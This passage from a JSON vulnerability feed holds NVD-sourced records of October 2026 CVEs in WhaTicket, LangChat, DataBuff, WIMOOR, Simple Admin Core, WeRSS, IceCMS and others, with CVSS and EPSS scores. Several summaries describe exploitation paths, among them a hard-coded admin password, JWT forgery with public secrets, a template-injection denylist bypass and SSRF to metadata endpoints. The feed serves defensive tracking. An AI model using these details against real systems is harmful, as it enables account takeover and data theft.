fixes.","publishedAt":"2026-10-16T18:17:55.337Z","updatedAt":"2026-10-16T22:17:23.053Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111711","asOf":"2026-10-16T22:17:23.053Z"},"epss":{"probability":0.00492,"percentile":0.41968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111711&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111711","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111711","type":"primary","publishedAt":"2026-10-16T18:17:55.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111711&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111711, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111708","cveId":"CVE-2026-111708","aliases":[],"kind":"vulnerability","title":"WhaTicket Community through commit cf04795 contains an authentication bypass vulnerability that allows unauthenticated attackers to self-register as administrators via POST...","summary":"WhaTicket Community through commit cf04795 contains an authentication bypass vulnerability that allows unauthenticated attackers to self-register as administrators via POST /auth/signup. Attackers can omit the profile field or set it to admin, gaining user management, settings, and access to all tickets, contacts, messages, and WhatsApp connections.","detail":"WhaTicket Community through commit cf04795 contains an authentication bypass vulnerability that allows unauthenticated attackers to self-register as administrators via POST /auth/signup. Attackers can omit the profile field or set it to admin, gaining user management, settings, and access to all tickets, contacts, messages, and WhatsApp connections.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:54.933Z","updatedAt":"2026-10-16T20:17:22.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111708","asOf":"2026-10-16T20:17:22.847Z"},"epss":{"probability":0.00578,"percentile":0.4731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111708","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111708","type":"primary","publishedAt":"2026-10-16T18:17:54.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111704","cveId":"CVE-2026-111704","aliases":[],"kind":"vulnerability","title":"LangChat through commit 2a6285a contains a missing authentication vulnerability that allows unauthenticated remote attackers to access REST controllers because no Sa-Token...","summary":"LangChat through commit 2a6285a contains a missing authentication vulnerability that allows unauthenticated remote attackers to access REST controllers because no Sa-Token interceptor is registered. Attackers can query /api/v1/auth/users to read plaintext passwords, retrieve LLM provider API keys, create super-admin accounts, and modify or delete data.","detail":"LangChat through commit 2a6285a contains a missing authentication vulnerability that allows unauthenticated remote attackers to access REST controllers because no Sa-Token interceptor is registered. Attackers can query /api/v1/auth/users to read plaintext passwords, retrieve LLM provider API keys, create super-admin accounts, and modify or delete data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:54.370Z","updatedAt":"2026-10-21T22:16:46.830Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111704","asOf":"2026-10-21T22:16:46.830Z"},"epss":{"probability":0.00653,"percentile":0.51008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111704","type":"primary","publishedAt":"2026-10-16T18:17:54.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111693","cveId":"CVE-2026-111693","aliases":[],"kind":"vulnerability","title":"DataBuff ai-apm-web through 0.1.10 contains a hard-coded default credentials vulnerability that allows unauthenticated attackers to gain administrator access using the built-in...","summary":"DataBuff ai-apm-web through 0.1.10 contains a hard-coded default credentials vulnerability that allows unauthenticated attackers to gain administrator access using the built-in admin/Databuff@123 account. Attackers can POST these credentials to /webapi/api/v1/auth/login to obtain an administrator token and access all protected /webapi routes.","detail":"DataBuff ai-apm-web through 0.1.10 contains a hard-coded default credentials vulnerability that allows unauthenticated attackers to gain administrator access using the built-in admin/Databuff@123 account. Attackers can POST these credentials to /webapi/api/v1/auth/login to obtain an administrator token and access all protected /webapi routes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:52.773Z","updatedAt":"2026-10-23T14:17:31.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111693","asOf":"2026-10-23T14:17:31.503Z"},"epss":{"probability":0.00495,"percentile":0.42166,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111693&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111693","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111693","type":"primary","publishedAt":"2026-10-16T18:17:52.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111693&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111693, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111692","cveId":"CVE-2026-111692","aliases":[],"kind":"vulnerability","title":"DataBuff ai-apm-web through 0.1.10 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge admin session tokens by using the hardcoded HMAC...","summary":"DataBuff ai-apm-web through 0.1.10 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge admin session tokens by using the hardcoded HMAC secret in JwtTokenService. Attackers can sign a payload of admin and a future expiry with the default dev-secret to gain full administrative access to protected /webapi routes, including the Doris SQL query API.","detail":"DataBuff ai-apm-web through 0.1.10 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge admin session tokens by using the hardcoded HMAC secret in JwtTokenService. Attackers can sign a payload of admin and a future expiry with the default dev-secret to gain full administrative access to protected /webapi routes, including the Doris SQL query API.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:52.633Z","updatedAt":"2026-10-16T20:17:22.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111692","asOf":"2026-10-16T20:17:22.490Z"},"epss":{"probability":0.00607,"percentile":0.48735,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111692&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111692","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111692","type":"primary","publishedAt":"2026-10-16T18:17:52.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111692&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111692, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111691","cveId":"CVE-2026-111691","aliases":[],"kind":"vulnerability","title":"WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows attackers to impersonate any tenant and privilege level by sending an unsigned X-USERINFO...","summary":"WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows attackers to impersonate any tenant and privilege level by sending an unsigned X-USERINFO header. Attackers reaching backend service ports directly, bypassing the gateway, can forge companyid and manager or admin usertype values to read and modify other tenants' orders, finance data, and Amazon seller authorizations.","detail":"WIMOOR through commit ec86736 contains an authentication bypass vulnerability that allows attackers to impersonate any tenant and privilege level by sending an unsigned X-USERINFO header. Attackers reaching backend service ports directly, bypassing the gateway, can forge companyid and manager or admin usertype values to read and modify other tenants' orders, finance data, and Amazon seller authorizations.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:52.493Z","updatedAt":"2026-10-16T22:17:22.613Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111691","asOf":"2026-10-16T22:17:22.613Z"},"epss":{"probability":0.00409,"percentile":0.34901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111691&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111691","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111691","type":"primary","publishedAt":"2026-10-16T18:17:52.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111691&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111691, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111690","cveId":"CVE-2026-111690","aliases":[],"kind":"vulnerability","title":"Simple Admin Core through 1.8.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge super administrator tokens by using the hard-coded...","summary":"Simple Admin Core through 1.8.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge super administrator tokens by using the hard-coded Auth.AccessSecret in api/etc/core.yaml. Attackers can sign a JWT with the public secret and roleId claim 001 to gain full administrative control over users, roles, menus, API authorities, configuration and tokens.","detail":"Simple Admin Core through 1.8.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge super administrator tokens by using the hard-coded Auth.AccessSecret in api/etc/core.yaml. Attackers can sign a JWT with the public secret and roleId claim 001 to gain full administrative control over users, roles, menus, API authorities, configuration and tokens.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:52.350Z","updatedAt":"2026-10-19T14:16:59.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111690","asOf":"2026-10-19T14:16:59.640Z"},"epss":{"probability":0.00578,"percentile":0.4731,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111690&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111690","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111690","type":"primary","publishedAt":"2026-10-16T18:17:52.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111690&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111690, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111687","cveId":"CVE-2026-111687","aliases":[],"kind":"vulnerability","title":"WeRSS (we-mp-rss) through 1.5.3 contains a remote code execution vulnerability that allows unauthenticated attackers to run code via the template parameter of the public GET...","summary":"WeRSS (we-mp-rss) through 1.5.3 contains a remote code execution vulnerability that allows unauthenticated attackers to run code via the template parameter of the public GET /rss/{feed_id} endpoint. Attackers can supply a non-built-in ext value and a {{=expression}} template whose object-subclass traversal bypasses the eval denylist to run OS commands as the service account.","detail":"WeRSS (we-mp-rss) through 1.5.3 contains a remote code execution vulnerability that allows unauthenticated attackers to run code via the template parameter of the public GET /rss/{feed_id} endpoint. Attackers can supply a non-built-in ext value and a {{=expression}} template whose object-subclass traversal bypasses the eval denylist to run OS commands as the service account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:51.920Z","updatedAt":"2026-10-16T20:17:22.260Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111687","asOf":"2026-10-16T20:17:22.260Z"},"epss":{"probability":0.01003,"percentile":0.62657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111687&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111687","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111687","type":"primary","publishedAt":"2026-10-16T18:17:51.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111687&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111687, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111675","cveId":"CVE-2026-111675","aliases":[],"kind":"vulnerability","title":"Course-tencent-cloud through 2.0.1 contains an improper restriction of authentication attempts vulnerability that allows unauthenticated attackers to brute force 6-digit SMS/email...","summary":"Course-tencent-cloud through 2.0.1 contains an improper restriction of authentication attempts vulnerability that allows unauthenticated attackers to brute force 6-digit SMS/email verification codes, which are never invalidated or attempt-limited. Attackers who know a victim's phone or email can trigger a code and rotate source IPs against the password reset and verify login endpoints to take over accounts.","detail":"Course-tencent-cloud through 2.0.1 contains an improper restriction of authentication attempts vulnerability that allows unauthenticated attackers to brute force 6-digit SMS/email verification codes, which are never invalidated or attempt-limited. Attackers who know a victim's phone or email can trigger a code and rotate source IPs against the password reset and verify login endpoints to take over accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:50.197Z","updatedAt":"2026-10-19T14:16:59.233Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111675","asOf":"2026-10-19T14:16:59.233Z"},"epss":{"probability":0.00535,"percentile":0.44825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111675&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111675","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111675","type":"primary","publishedAt":"2026-10-16T18:17:50.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111675&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111675, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111673","cveId":"CVE-2026-111673","aliases":[],"kind":"vulnerability","title":"IceCMS through 4.1.5 contains a missing authentication vulnerability that allows unauthenticated attackers to modify, delete, or disable any account because /User/** is excluded...","summary":"IceCMS through 4.1.5 contains a missing authentication vulnerability that allows unauthenticated attackers to modify, delete, or disable any account because /User/** is excluded from the Shiro jwt filter. Attackers can send PUT requests to /User/updateUser to set a new password and role on any userId, including administrators, enabling full account takeover.","detail":"IceCMS through 4.1.5 contains a missing authentication vulnerability that allows unauthenticated attackers to modify, delete, or disable any account because /User/** is excluded from the Shiro jwt filter. Attackers can send PUT requests to /User/updateUser to set a new password and role on any userId, including administrators, enabling full account takeover.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:49.920Z","updatedAt":"2026-10-16T20:17:22.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111673","asOf":"2026-10-16T20:17:22.020Z"},"epss":{"probability":0.0055,"percentile":0.45766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111673&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111673","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111673","type":"primary","publishedAt":"2026-10-16T18:17:49.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111673&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111673, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111663","cveId":"CVE-2026-111663","aliases":[],"kind":"vulnerability","title":"Chaskiq through 2.0.3 contains a server-side request forgery vulnerability that allows unauthenticated attackers to fetch arbitrary URLs via the createUrlUpload GraphQL mutation.","summary":"Chaskiq through 2.0.3 contains a server-side request forgery vulnerability that allows unauthenticated attackers to fetch arbitrary URLs via the createUrlUpload GraphQL mutation. Attackers can submit internal URLs, including cloud instance metadata endpoints, through POST /graphql and retrieve the full response via the returned ActiveStorage blob URL.","detail":"Chaskiq through 2.0.3 contains a server-side request forgery vulnerability that allows unauthenticated attackers to fetch arbitrary URLs via the createUrlUpload GraphQL mutation. Attackers can submit internal URLs, including cloud instance metadata endpoints, through POST /graphql and retrieve the full response via the returned ActiveStorage blob URL.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 